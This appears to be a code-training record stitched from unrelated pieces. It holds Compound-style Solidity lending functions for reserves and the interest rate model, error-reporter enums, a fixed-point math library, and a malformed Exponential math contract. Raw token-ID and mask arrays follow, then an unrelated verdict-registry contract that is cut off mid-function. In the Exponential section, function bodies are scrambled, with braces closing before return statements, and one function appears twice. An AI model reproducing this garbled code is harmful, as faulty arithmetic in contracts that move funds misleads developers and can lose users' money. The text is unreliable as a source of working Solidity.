returns (uint) { // Check caller is admin if (msg.sender != admin) { return fail(Error.UNAUTHORIZED, FailureInfo.SET_RESERVE_FACTOR_ADMIN_CHECK); } // Verify market's block number equals current block number if (accrualBlockNumber != getBlockNumber()) { return fail(Error.MARKET_NOT_FRESH, FailureInfo.SET_RESERVE_FACTOR_FRESH_CHECK); } // Check newReserveFactor ≤ maxReserveFactor if (newReserveFactorMantissa > reserveFactorMaxMantissa) { return fail(Error.BAD_INPUT, FailureInfo.SET_RESERVE_FACTOR_BOUNDS_CHECK); } uint oldReserveFactorMantissa = reserveFactorMantissa; reserveFactorMantissa = newReserveFactorMantissa; emit NewReserveFactor(oldReserveFactorMantissa, newReserveFactorMantissa); return uint(Error.NO_ERROR); } /** * @notice Accrues interest and reduces reserves by transferring from msg.sender * @param addAmount Amount of addition to reserves * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function _addReservesInternal(uint addAmount) internal nonReentrant returns (uint) { uint error = accrueInterest(); if (error != uint(Error.NO_ERROR)) { // accrueInterest emits logs on errors, but on top of that we want to log the fact that an attempted reduce reserves failed. return fail(Error(error), FailureInfo.ADD_RESERVES_ACCRUE_INTEREST_FAILED); } // _addReservesFresh emits reserve-addition-specific logs on errors, so we don't need to. (error, ) = _addReservesFresh(addAmount); return error; } /** * @notice Add reserves by transferring from caller * @dev Requires fresh interest accrual * @param addAmount Amount of addition to reserves * @return (uint, uint) An error code (0=success, otherwise a failure (see ErrorReporter.sol for details)) and the actual amount added, net token fees */ function _addReservesFresh(uint addAmount) internal returns (uint, uint) { // totalReserves + actualAddAmount uint totalReservesNew; uint actualAddAmount; // We fail gracefully unless market's block number equals current block number if (accrualBlockNumber != getBlockNumber()) { return (fail(Error.MARKET_NOT_FRESH, FailureInfo.ADD_RESERVES_FRESH_CHECK), actualAddAmount); } ///////////////////////// // EFFECTS & INTERACTIONS // (No safe failures beyond this point) /* * We call doTransferIn for the caller and the addAmount * Note: The cToken must handle variations between ERC-20 and ETH underlying. * On success, the cToken holds an additional addAmount of cash. * doTransferIn reverts if anything goes wrong, since we can't be sure if side effects occurred. * it returns the amount actually transferred, in case of a fee. */ actualAddAmount = doTransferIn(msg.sender, addAmount); totalReservesNew = totalReserves + actualAddAmount; /* Revert on overflow */ require(totalReservesNew >= totalReserves, "add reserves unexpected overflow"); // Store reserves[n+1] = reserves[n] + actualAddAmount totalReserves = totalReservesNew; /* Emit NewReserves(admin, actualAddAmount, reserves[n+1]) */ emit ReservesAdded(msg.sender, actualAddAmount, totalReservesNew); /* Return (NO_ERROR, actualAddAmount) */ return (uint(Error.NO_ERROR), actualAddAmount); } /** * @notice Accrues interest and reduces reserves by transferring to admin * @param reduceAmount Amount of reduction to reserves * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function _reduceReserves(uint reduceAmount) external nonReentrant returns (uint) { uint error = accrueInterest(); if (error != uint(Error.NO_ERROR)) { // accrueInterest emits logs on errors, but on top of that we want to log the fact that an attempted reduce reserves failed. return fail(Error(error), FailureInfo.REDUCE_RESERVES_ACCRUE_INTEREST_FAILED); } // _reduceReservesFresh emits reserve-reduction-specific logs on errors, so we don't need to. return _reduceReservesFresh(reduceAmount); } /** * @notice Reduces reserves by transferring to admin * @dev Requires fresh interest accrual * @param reduceAmount Amount of reduction to reserves * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function _reduceReservesFresh(uint reduceAmount) internal returns (uint) { // totalReserves - reduceAmount uint totalReservesNew; // Check caller is admin if (msg.sender != admin) { return fail(Error.UNAUTHORIZED, FailureInfo.REDUCE_RESERVES_ADMIN_CHECK); } // We fail gracefully unless market's block number equals current block number if (accrualBlockNumber != getBlockNumber()) { return fail(Error.MARKET_NOT_FRESH, FailureInfo.REDUCE_RESERVES_FRESH_CHECK); } // Fail gracefully if protocol has insufficient underlying cash if (getCashPrior() < reduceAmount) { return fail(Error.TOKEN_INSUFFICIENT_CASH, FailureInfo.REDUCE_RESERVES_CASH_NOT_AVAILABLE); } // Check reduceAmount ≤ reserves[n] (totalReserves) if (reduceAmount > totalReserves) { return fail(Error.BAD_INPUT, FailureInfo.REDUCE_RESERVES_VALIDATION); } ///////////////////////// // EFFECTS & INTERACTIONS // (No safe failures beyond this point) totalReservesNew = totalReserves - reduceAmount; // We checked reduceAmount <= totalReserves above, so this should never revert. require(totalReservesNew <= totalReserves, "reduce reserves unexpected underflow"); // Store reserves[n+1] = reserves[n] - reduceAmount totalReserves = totalReservesNew; // doTransferOut reverts if anything goes wrong, since we can't be sure if side effects occurred. doTransferOut(admin, reduceAmount); emit ReservesReduced(admin, reduceAmount, totalReservesNew); return uint(Error.NO_ERROR); } /** * @notice accrues interest and updates the interest rate model using _setInterestRateModelFresh * @dev Admin function to accrue interest and update the interest rate model * @param newInterestRateModel the new interest rate model to use * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function _setInterestRateModel(InterestRateModel newInterestRateModel) public returns (uint) { uint error = accrueInterest(); if (error != uint(Error.NO_ERROR)) { // accrueInterest emits logs on errors, but on top of that we want to log the fact that an attempted change of interest rate model failed return fail(Error(error), FailureInfo.SET_INTEREST_RATE_MODEL_ACCRUE_INTEREST_FAILED); } // _setInterestRateModelFresh emits interest-rate-model-update-specific logs on errors, so we don't need to. return _setInterestRateModelFresh(newInterestRateModel); } /** * @notice updates the interest rate model (*requires fresh interest accrual) * @dev Admin function to update the interest rate model * @param newInterestRateModel the new interest rate model to use * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function _setInterestRateModelFresh(InterestRateModel newInterestRateModel) internal returns (uint) { // Used to store old model for use in the event that is emitted on success InterestRateModel oldInterestRateModel; // Check caller is admin if (msg.sender != admin) { return fail(Error.UNAUTHORIZED, FailureInfo.SET_INTEREST_RATE_MODEL_OWNER_CHECK); } // We fail gracefully unless market's block number equals current block number if (accrualBlockNumber != getBlockNumber()) { return fail(Error.MARKET_NOT_FRESH, FailureInfo.SET_INTEREST_RATE_MODEL_FRESH_CHECK); } // Track the market's current interest rate model oldInterestRateModel = interestRateModel; // Ensure invoke newInterestRateModel.isInterestRateModel() returns true require(newInterestRateModel.isInterestRateModel(), "marker method returned false"); // Set the interest rate model to newInterestRateModel interestRateModel = newInterestRateModel; // Emit NewMarketInterestRateModel(oldInterestRateModel, newInterestRateModel) emit NewMarketInterestRateModel(oldInterestRateModel, newInterestRateModel); return uint(Error.NO_ERROR); } /*** Safe Token ***/ /** * @notice Gets balance of this contract in terms of the underlying * @dev This excludes the value of the current message, if any * @return The quantity of underlying owned by this contract */ function getCashPrior() internal view returns (uint); /** * @dev Performs a transfer in, reverting upon failure. Returns the amount actually transferred to the protocol, in case of a fee. * This may revert due to insufficient balance or insufficient allowance. */ function doTransferIn(address from, uint amount) internal returns (uint); /** * @dev Performs a transfer out, ideally returning an explanatory error code upon failure tather than reverting. * If caller has not called checked protocol's balance, may revert due to insufficient cash held in the contract. * If caller has checked protocol's balance, and verified it is >= amount, this should not revert in normal conditions. */ function doTransferOut(address payable to, uint amount) internal; /*** Reentrancy Guard ***/ /** * @dev Prevents a contract from calling itself, directly or indirectly. */ modifier nonReentrant() { require(_notEntered, "re-entered"); _notEntered = false; _; _notEntered = true; // get a gas-refund post-Istanbul } } pragma solidity ^0.5.16; contract ComptrollerErrorReporter { enum Error { NO_ERROR, UNAUTHORIZED, COMPTROLLER_MISMATCH, INSUFFICIENT_SHORTFALL, INSUFFICIENT_LIQUIDITY, INVALID_CLOSE_FACTOR, INVALID_COLLATERAL_FACTOR, INVALID_LIQUIDATION_INCENTIVE, MARKET_NOT_ENTERED, // no longer possible MARKET_NOT_LISTED, MARKET_ALREADY_LISTED, MATH_ERROR, NONZERO_BORROW_BALANCE, PRICE_ERROR, REJECTION, SNAPSHOT_ERROR, TOO_MANY_ASSETS, TOO_MUCH_REPAY } enum FailureInfo { ACCEPT_ADMIN_PENDING_ADMIN_CHECK, ACCEPT_PENDING_IMPLEMENTATION_ADDRESS_CHECK, EXIT_MARKET_BALANCE_OWED, EXIT_MARKET_REJECTION, SET_CLOSE_FACTOR_OWNER_CHECK, SET_CLOSE_FACTOR_VALIDATION, SET_COLLATERAL_FACTOR_OWNER_CHECK, SET_COLLATERAL_FACTOR_NO_EXISTS, SET_COLLATERAL_FACTOR_VALIDATION, SET_COLLATERAL_FACTOR_WITHOUT_PRICE, SET_IMPLEMENTATION_OWNER_CHECK, SET_LIQUIDATION_INCENTIVE_OWNER_CHECK, SET_LIQUIDATION_INCENTIVE_VALIDATION, SET_MAX_ASSETS_OWNER_CHECK, SET_PENDING_ADMIN_OWNER_CHECK, SET_PENDING_IMPLEMENTATION_OWNER_CHECK, SET_PRICE_ORACLE_OWNER_CHECK, SUPPORT_MARKET_EXISTS, SUPPORT_MARKET_OWNER_CHECK, SET_PAUSE_GUARDIAN_OWNER_CHECK } /** * @dev `error` corresponds to enum Error; `info` corresponds to enum FailureInfo, and `detail` is an arbitrary * contract-specific code that enables us to report opaque error codes from upgradeable contracts. **/ event Failure(uint error, uint info, uint detail); /** * @dev use this when reporting a known error from the money market or a non-upgradeable collaborator */ function fail(Error err, FailureInfo info) internal returns (uint) { emit Failure(uint(err), uint(info), 0); return uint(err); } /** * @dev use this when reporting an opaque error from an upgradeable collaborator contract */ function failOpaque(Error err, FailureInfo info, uint opaqueError) internal returns (uint) { emit Failure(uint(err), uint(info), opaqueError); return uint(err); } } contract TokenErrorReporter { enum Error { NO_ERROR, UNAUTHORIZED, BAD_INPUT, COMPTROLLER_REJECTION, COMPTROLLER_CALCULATION_ERROR, INTEREST_RATE_MODEL_ERROR, INVALID_ACCOUNT_PAIR, INVALID_CLOSE_AMOUNT_REQUESTED, INVALID_COLLATERAL_FACTOR, MATH_ERROR, MARKET_NOT_FRESH, MARKET_NOT_LISTED, TOKEN_INSUFFICIENT_ALLOWANCE, TOKEN_INSUFFICIENT_BALANCE, TOKEN_INSUFFICIENT_CASH, TOKEN_TRANSFER_IN_FAILED, TOKEN_TRANSFER_OUT_FAILED } /* * Note: FailureInfo (but not Error) is kept in alphabetical order * This is because FailureInfo grows significantly faster, and * the order of Error has some meaning, while the order of FailureInfo * is entirely arbitrary. */ enum FailureInfo { ACCEPT_ADMIN_PENDING_ADMIN_CHECK, ACCRUE_INTEREST_ACCUMULATED_INTEREST_CALCULATION_FAILED, ACCRUE_INTEREST_BORROW_RATE_CALCULATION_FAILED, ACCRUE_INTEREST_NEW_BORROW_INDEX_CALCULATION_FAILED, ACCRUE_INTEREST_NEW_TOTAL_BORROWS_CALCULATION_FAILED, ACCRUE_INTEREST_NEW_TOTAL_RESERVES_CALCULATION_FAILED, ACCRUE_INTEREST_SIMPLE_INTEREST_FACTOR_CALCULATION_FAILED, BORROW_ACCUMULATED_BALANCE_CALCULATION_FAILED, BORROW_ACCRUE_INTEREST_FAILED, BORROW_CASH_NOT_AVAILABLE, BORROW_FRESHNESS_CHECK, BORROW_NEW_TOTAL_BALANCE_CALCULATION_FAILED, BORROW_NEW_ACCOUNT_BORROW_BALANCE_CALCULATION_FAILED, BORROW_MARKET_NOT_LISTED, BORROW_COMPTROLLER_REJECTION, LIQUIDATE_ACCRUE_BORROW_INTEREST_FAILED, LIQUIDATE_ACCRUE_COLLATERAL_INTEREST_FAILED, LIQUIDATE_COLLATERAL_FRESHNESS_CHECK, LIQUIDATE_COMPTROLLER_REJECTION, LIQUIDATE_COMPTROLLER_CALCULATE_AMOUNT_SEIZE_FAILED, LIQUIDATE_CLOSE_AMOUNT_IS_UINT_MAX, LIQUIDATE_CLOSE_AMOUNT_IS_ZERO, LIQUIDATE_FRESHNESS_CHECK, LIQUIDATE_LIQUIDATOR_IS_BORROWER, LIQUIDATE_REPAY_BORROW_FRESH_FAILED, LIQUIDATE_SEIZE_BALANCE_INCREMENT_FAILED, LIQUIDATE_SEIZE_BALANCE_DECREMENT_FAILED, LIQUIDATE_SEIZE_COMPTROLLER_REJECTION, LIQUIDATE_SEIZE_LIQUIDATOR_IS_BORROWER, LIQUIDATE_SEIZE_TOO_MUCH, MINT_ACCRUE_INTEREST_FAILED, MINT_COMPTROLLER_REJECTION, MINT_EXCHANGE_CALCULATION_FAILED, MINT_EXCHANGE_RATE_READ_FAILED, MINT_FRESHNESS_CHECK, MINT_NEW_ACCOUNT_BALANCE_CALCULATION_FAILED, MINT_NEW_TOTAL_SUPPLY_CALCULATION_FAILED, MINT_TRANSFER_IN_FAILED, MINT_TRANSFER_IN_NOT_POSSIBLE, REDEEM_ACCRUE_INTEREST_FAILED, REDEEM_COMPTROLLER_REJECTION, REDEEM_EXCHANGE_TOKENS_CALCULATION_FAILED, REDEEM_EXCHANGE_AMOUNT_CALCULATION_FAILED, REDEEM_EXCHANGE_RATE_READ_FAILED, REDEEM_FRESHNESS_CHECK, REDEEM_NEW_ACCOUNT_BALANCE_CALCULATION_FAILED, REDEEM_NEW_TOTAL_SUPPLY_CALCULATION_FAILED, REDEEM_TRANSFER_OUT_NOT_POSSIBLE, REDUCE_RESERVES_ACCRUE_INTEREST_FAILED, REDUCE_RESERVES_ADMIN_CHECK, REDUCE_RESERVES_CASH_NOT_AVAILABLE, REDUCE_RESERVES_FRESH_CHECK, REDUCE_RESERVES_VALIDATION, REPAY_BEHALF_ACCRUE_INTEREST_FAILED, REPAY_BORROW_ACCRUE_INTEREST_FAILED, REPAY_BORROW_ACCUMULATED_BALANCE_CALCULATION_FAILED, REPAY_BORROW_COMPTROLLER_REJECTION, REPAY_BORROW_FRESHNESS_CHECK, REPAY_BORROW_NEW_ACCOUNT_BORROW_BALANCE_CALCULATION_FAILED, REPAY_BORROW_NEW_TOTAL_BALANCE_CALCULATION_FAILED, REPAY_BORROW_TRANSFER_IN_NOT_POSSIBLE, SET_COLLATERAL_FACTOR_OWNER_CHECK, SET_COLLATERAL_FACTOR_VALIDATION, SET_COMPTROLLER_OWNER_CHECK, SET_INTEREST_RATE_MODEL_ACCRUE_INTEREST_FAILED, SET_INTEREST_RATE_MODEL_FRESH_CHECK, SET_INTEREST_RATE_MODEL_OWNER_CHECK, SET_MAX_ASSETS_OWNER_CHECK, SET_ORACLE_MARKET_NOT_LISTED, SET_PENDING_ADMIN_OWNER_CHECK, SET_RESERVE_FACTOR_ACCRUE_INTEREST_FAILED, SET_RESERVE_FACTOR_ADMIN_CHECK, SET_RESERVE_FACTOR_FRESH_CHECK, SET_RESERVE_FACTOR_BOUNDS_CHECK, TRANSFER_COMPTROLLER_REJECTION, TRANSFER_NOT_ALLOWED, TRANSFER_NOT_ENOUGH, TRANSFER_TOO_MUCH, ADD_RESERVES_ACCRUE_INTEREST_FAILED, ADD_RESERVES_FRESH_CHECK, ADD_RESERVES_TRANSFER_IN_NOT_POSSIBLE } /** * @dev `error` corresponds to enum Error; `info` corresponds to enum FailureInfo, and `detail` is an arbitrary * contract-specific code that enables us to report opaque error codes from upgradeable contracts. **/ event Failure(uint error, uint info, uint detail); /** * @dev use this when reporting a known error from the money market or a non-upgradeable collaborator */ function fail(Error err, FailureInfo info) internal returns (uint) { emit Failure(uint(err), uint(info), 0); return uint(err); } /** * @dev use this when reporting an opaque error from an upgradeable collaborator contract */ function failOpaque(Error err, FailureInfo info, uint opaqueError) internal returns (uint) { emit Failure(uint(err), uint(info), opaqueError); return uint(err); } } // SPDX-License-Identifier: AGPL-3.0-only pragma solidity ^0.5.16; /// @notice Arithmetic library with operations for fixed-point numbers. /// @author Solmate (https://github.com/Rari-Capital/solmate/blob/main/src/utils/FixedPointMathLib.sol) library FixedPointMathLib { /*/////////////////////////////////////////////////////////////// COMMON BASE UNITS //////////////////////////////////////////////////////////////*/ uint256 internal constant YAD = 1e8; uint256 internal constant WAD = 1e18; uint256 internal constant RAY = 1e27; uint256 internal constant RAD = 1e45; /*/////////////////////////////////////////////////////////////// FIXED POINT OPERATIONS //////////////////////////////////////////////////////////////*/ function fmul( uint256 x, uint256 y, uint256 baseUnit ) internal pure returns (uint256 z) { assembly { // Store x * y in z for now. z := mul(x, y) // Equivalent to require(x == 0 || (x * y) / x == y) if iszero(or(iszero(x), eq(div(z, x), y))) { revert(0, 0) } // If baseUnit is zero this will return zero instead of reverting. z := div(z, baseUnit) } } function fdiv( uint256 x, uint256 y, uint256 baseUnit ) internal pure returns (uint256 z) { assembly { // Store x * baseUnit in z for now. z := mul(x, baseUnit) // Equivalent to require(y != 0 && (x == 0 || (x * baseUnit) / x == baseUnit)) if iszero(and(iszero(iszero(y)), or(iszero(x), eq(div(z, x), baseUnit)))) { revert(0, 0) } // We ensure y is not zero above, so there is never division by zero here. z := div(z, y) } } function fpow( uint256 x, uint256 n, uint256 baseUnit ) internal pure returns (uint256 z) { assembly { switch x case 0 { switch n case 0 { // 0 ** 0 = 1 z := baseUnit } default { // 0 ** n = 0 z := 0 } } default { switch mod(n, 2) case 0 { // If n is even, store baseUnit in z for now. z := baseUnit } default { // If n is odd, store x in z for now. z := x } // Shifting right by 1 is like dividing by 2. let half := shr(1, baseUnit) for { // Shift n right by 1 before looping to halve it. n := shr(1, n) } n { // Shift n right by 1 each iteration to halve it. n := shr(1, n) } { // Revert immediately if x ** 2 would overflow. // Equivalent to iszero(eq(div(xx, x), x)) here. if shr(128, x) { revert(0, 0) } // Store x squared. let xx := mul(x, x) // Round to the nearest number. let xxRound := add(xx, half) // Revert if xx + half overflowed. if lt(xxRound, xx) { revert(0, 0) } // Set x to scaled xxRound. x := div(xxRound, baseUnit) // If n is even: if mod(n, 2) { // Compute z * x. let zx := mul(z, x) // If z * x overflowed: if iszero(eq(div(zx, x), z)) { // Revert if x is non-zero. if iszero(iszero(x)) { revert(0, 0) } } // Round to the nearest number. let zxRound := add(zx, half) // Revert if zx + half overflowed. if lt(zxRound, zx) { revert(0, 0) } // Return properly scaled zxRound. z := div(zxRound, baseUnit) } } } } } /*/////////////////////////////////////////////////////////////// GENERAL NUMBER UTILITIES //////////////////////////////////////////////////////////////*/ function sqrt(uint256 x) internal pure returns (uint256 z) { assembly { // Start off with z at 1. z := 1 // Used below to help find a nearby power of 2. let y := x // Find the lowest power of 2 that is at least sqrt(x). if iszero(lt(y, 0x100000000000000000000000000000000)) { y := shr(128, y) // Like dividing by 2 ** 128. z := shl(64, z) } if iszero(lt(y, 0x10000000000000000)) { y := shr(64, y) // Like dividing by 2 ** 64. z := shl(32, z) } if iszero(lt(y, 0x100000000)) { y := shr(32, y) // Like dividing by 2 ** 32. z := shl(16, z) } if iszero(lt(y, 0x10000)) { y := shr(16, y) // Like dividing by 2 ** 16. z := shl(8, z) } if iszero(lt(y, 0x100)) { y := shr(8, y) // Like dividing by 2 ** 8. z := shl(4, z) } if iszero(lt(y, 0x10)) { y := shr(4, y) // Like dividing by 2 ** 4. z := shl(2, z) } if iszero(lt(y, 0x8)) { // Equivalent to 2 ** z. z := shl(1, z) } // Shifting right by 1 is like dividing by 2. z := shr(1, add(z, div(x, z))) z := shr(1, add(z, div(x, z))) z := shr(1, add(z, div(x, z))) z := shr(1, add(z, div(x, z))) z := shr(1, add(z, div(x, z))) z := shr(1, add(z, div(x, z))) z := shr(1, add(z, div(x, z))) // Compute a rounded down version of z. let zRoundDown := div(x, z) // If zRoundDown is smaller, use it. if lt(zRoundDown, z) { z := zRoundDown } } } }
* @title Exponential module for storing fixed-precision decimals @author Compound @notice Exp is a struct which stores decimals with a fixed precision of 18 decimal places. Thus, if we wanted to store the 5.1, mantissa would store 5.1e18. That is: `Exp({mantissa: 5100000000000000000})`./
contract ExponentialNoError { uint constant expScale = 1e18; uint constant doubleScale = 1e36; uint constant halfExpScale = expScale/2; uint constant mantissaOne = expScale; } struct Exp { uint mantissa; } struct Double { uint mantissa; } function truncate(Exp memory exp) pure internal returns (uint) { return exp.mantissa / expScale; } function mul_ScalarTruncate(Exp memory a, uint scalar) pure internal returns (uint) { Exp memory product = mul_(a, scalar); return truncate(product); } function mul_ScalarTruncateAddUInt(Exp memory a, uint scalar, uint addend) pure internal returns (uint) { Exp memory product = mul_(a, scalar); return add_(truncate(product), addend); } function lessThanExp(Exp memory left, Exp memory right) pure internal returns (bool) { return left.mantissa < right.mantissa; } function lessThanOrEqualExp(Exp memory left, Exp memory right) pure internal returns (bool) { return left.mantissa <= right.mantissa; } function greaterThanExp(Exp memory left, Exp memory right) pure internal returns (bool) { return left.mantissa > right.mantissa; } function isZeroExp(Exp memory value) pure internal returns (bool) { return value.mantissa == 0; } function safe224(uint n, string memory errorMessage) pure internal returns (uint224) { require(n < 2**224, errorMessage); return uint224(n); } function safe32(uint n, string memory errorMessage) pure internal returns (uint32) { require(n < 2**32, errorMessage); return uint32(n); } function add_(Exp memory a, Exp memory b) pure internal returns (Exp memory) { } return Exp({mantissa: add_(a.mantissa, b.mantissa)}); function add_(Double memory a, Double memory b) pure internal returns (Double memory) { } return Double({mantissa: add_(a.mantissa, b.mantissa)}); function add_(uint a, uint b) pure internal returns (uint) { return add_(a, b, "addition overflow"); } function add_(uint a, uint b, string memory errorMessage) pure internal returns (uint) { uint c = a + b; require(c >= a, errorMessage); return c; } function sub_(Exp memory a, Exp memory b) pure internal returns (Exp memory) { } return Exp({mantissa: sub_(a.mantissa, b.mantissa)}); function sub_(Double memory a, Double memory b) pure internal returns (Double memory) { } return Double({mantissa: sub_(a.mantissa, b.mantissa)}); function sub_(uint a, uint b) pure internal returns (uint) { return sub_(a, b, "subtraction underflow"); } function sub_(uint a, uint b, string memory errorMessage) pure internal returns (uint) { require(b <= a, errorMessage); return a - b; } function mul_(Exp memory a, Exp memory b) pure internal returns (Exp memory) { } return Exp({mantissa: mul_(a.mantissa, b.mantissa) / expScale}); function mul_(Exp memory a, uint b) pure internal returns (Exp memory) { } return Exp({mantissa: mul_(a.mantissa, b)}); function mul_(uint a, Exp memory b) pure internal returns (uint) { return mul_(a, b.mantissa) / expScale; } function mul_(Double memory a, Double memory b) pure internal returns (Double memory) { } return Double({mantissa: mul_(a.mantissa, b.mantissa) / doubleScale}); function mul_(Double memory a, uint b) pure internal returns (Double memory) { } return Double({mantissa: mul_(a.mantissa, b)}); function mul_(uint a, Double memory b) pure internal returns (uint) { return mul_(a, b.mantissa) / doubleScale; } function mul_(uint a, uint b) pure internal returns (uint) { return mul_(a, b, "multiplication overflow"); } function mul_(uint a, uint b, string memory errorMessage) pure internal returns (uint) { if (a == 0 || b == 0) { return 0; } uint c = a * b; require(c / a == b, errorMessage); return c; } function mul_(uint a, uint b, string memory errorMessage) pure internal returns (uint) { if (a == 0 || b == 0) { return 0; } uint c = a * b; require(c / a == b, errorMessage); return c; } function div_(Exp memory a, Exp memory b) pure internal returns (Exp memory) { } return Exp({mantissa: div_(mul_(a.mantissa, expScale), b.mantissa)}); function div_(Exp memory a, uint b) pure internal returns (Exp memory) { } return Exp({mantissa: div_(a.mantissa, b)}); function div_(uint a, Exp memory b) pure internal returns (uint) { return div_(mul_(a, expScale), b.mantissa); } function div_(Double memory a, Double memory b) pure internal returns (Double memory) { } return Double({mantissa: div_(mul_(a.mantissa, doubleScale), b.mantissa)}); function div_(Double memory a, uint b) pure internal returns (Double memory) { } return Double({mantissa: div_(a.mantissa, b)}); function div_(uint a, Double memory b) pure internal returns (uint) { return div_(mul_(a, doubleScale), b.mantissa); } function div_(uint a, uint b) pure internal returns (uint) { return div_(a, b, "divide by zero"); } function div_(uint a, uint b, string memory errorMessage) pure internal returns (uint) { require(b > 0, errorMessage); return a / b; } function fraction(uint a, uint b) pure internal returns (Double memory) { } return Double({mantissa: div_(mul_(a, doubleScale), b)}); }
249,873
[ 1, 17972, 649, 1605, 364, 15729, 5499, 17, 14548, 15105, 225, 21327, 225, 7784, 353, 279, 1958, 1492, 9064, 15105, 598, 279, 5499, 6039, 434, 6549, 6970, 12576, 18, 540, 22073, 16, 309, 732, 15504, 358, 1707, 326, 1381, 18, 21, 16, 31340, 4102, 1707, 1381, 18, 21, 73, 2643, 18, 12466, 353, 30, 540, 1375, 2966, 12590, 81, 970, 21269, 30, 21119, 12648, 2787, 11706, 6792, 8338, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 16351, 29770, 649, 2279, 668, 288, 203, 565, 2254, 5381, 1329, 5587, 273, 404, 73, 2643, 31, 203, 565, 2254, 5381, 1645, 5587, 273, 404, 73, 5718, 31, 203, 565, 2254, 5381, 8816, 2966, 5587, 273, 1329, 5587, 19, 22, 31, 203, 565, 2254, 5381, 31340, 3335, 273, 1329, 5587, 31, 203, 203, 97, 203, 565, 1958, 7784, 288, 203, 3639, 2254, 31340, 31, 203, 565, 289, 203, 203, 565, 1958, 3698, 288, 203, 3639, 2254, 31340, 31, 203, 565, 289, 203, 203, 565, 445, 10310, 12, 2966, 3778, 1329, 13, 16618, 2713, 1135, 261, 11890, 13, 288, 203, 3639, 327, 1329, 18, 81, 970, 21269, 342, 1329, 5587, 31, 203, 565, 289, 203, 203, 565, 445, 14064, 67, 13639, 25871, 12, 2966, 3778, 279, 16, 2254, 4981, 13, 16618, 2713, 1135, 261, 11890, 13, 288, 203, 3639, 7784, 3778, 3017, 273, 14064, 67, 12, 69, 16, 4981, 1769, 203, 3639, 327, 10310, 12, 5896, 1769, 203, 565, 289, 203, 203, 565, 445, 14064, 67, 13639, 25871, 986, 14342, 12, 2966, 3778, 279, 16, 2254, 4981, 16, 2254, 527, 409, 13, 16618, 2713, 1135, 261, 11890, 13, 288, 203, 3639, 7784, 3778, 3017, 273, 14064, 67, 12, 69, 16, 4981, 1769, 203, 3639, 327, 527, 67, 12, 27201, 12, 5896, 3631, 527, 409, 1769, 203, 565, 289, 203, 203, 565, 445, 5242, 9516, 2966, 12, 2966, 3778, 2002, 16, 7784, 3778, 2145, 13, 16618, 2713, 1135, 261, 6430, 13, 288, 203, 3639, 327, 2002, 18, 81, 970, 21269, 411, 2145, 18, 81, 970, 21269, 2 ]
pragma solidity ^0.4.18; // We have to specify what version of compiler this code will compile with contract Vibes { mapping (uint32 => string) public databc; mapping (uint32 => mapping (uint32 => bytes32)) public verdicts; mapping (uint32 => mapping (uint32 => bytes32)) public oemverdicts; mapping (uint32 => uint32) public mapVerdictDesign; mapping (bytes32 => uint32) public designName; mapping (uint32 => bytes32) public designName2; mapping (uint32 => bytes32) public OEMname; mapping (uint32 => bytes32) public T1name; uint32 public datanumber; uint32 public verdictnumber; uint32 public oemverdictnumber; function Vibes() public { datanumber = 0; verdictnumber = 0; oemverdictnumber = 0; } // function to get current blocknumber to read data function currNumber() constant returns (uint32) { return datanumber; } // function to get data given the blocknumber function getData( uint32 blocknum) view public returns (string) { return databc[blocknum]; } // function to get data by name function getDataByName(bytes32 name) view public returns (string) { return databc[designName[name]]; } // function to add T1 verdict function addVerdict(uint32 num, bytes32 verdict, bytes32 t1n) public { verdicts[num][mapVerdictDesign[num]] = verdict; mapVerdictDesign[num] += 1; bytes32 name = designName2[num]; T1name[num] = t1n; newVerdict (t1n, name, num, verdict); } // function to add T1 verdict by name function addVerdictByName(bytes32 name, bytes32 verdict, bytes32 t1n) public { uint32 num = designName[name]; verdicts[num][mapVerdictDesign[num]] = verdict; mapVerdictDesign[num] += 1; T1name[num] = t1n; newVerdict (t1n,name, mapVerdictDesign[num]-1, verdict); } //function to add OEM code verdicts function addOEMVerdict(uint32 num, bytes32 verdict) public { oemverdicts[num][oemverdictnumber] = verdict; oemverdictnumber += 1; bytes32 name = designName2[num]; newOEMVerdict ( name, num, verdict); } //function to add OEM code verdicts by name function addOEMVerdictByName(bytes32 name, bytes32 verdict) public { uint32 num = designName[name]; oemverdicts[num][oemverdictnumber] = verdict; oemverdictnumber += 1; newOEMVerdict (name, num, verdict); } //function to get verdict function getVerdict(uint32 num, uint32 verdictnum) view public returns (bytes32) { return verdicts[num][verdictnum]; } //function to get verdict function getVerdictByName(bytes32 name, uint32 verdictnum) view public returns (bytes32) { uint32 num = designName[name]; return verdicts[num][verdictnum]; } // function to get OEM verdicts function getOEMVerdict(uint32 num, uint32 oemverdictnum) view public returns (bytes32) { return oemverdicts[num][oemverdictnum]; } // function to get current verdict number to loop through function verdictNumber() view public returns (uint32) { return verdictnumber; } // function to get current oem verdict number for looping function oemNumber() view public returns (uint32) { return oemverdictnumber; } // function to add data function addData(string data, bytes32 name, bytes32 Cname) public { databc[datanumber] = data; designName[name] = datanumber; designName2[datanumber] = name; OEMname[datanumber] = Cname; datanumber += 1; // deploy event newDesign (datanumber-1, name, Cname); 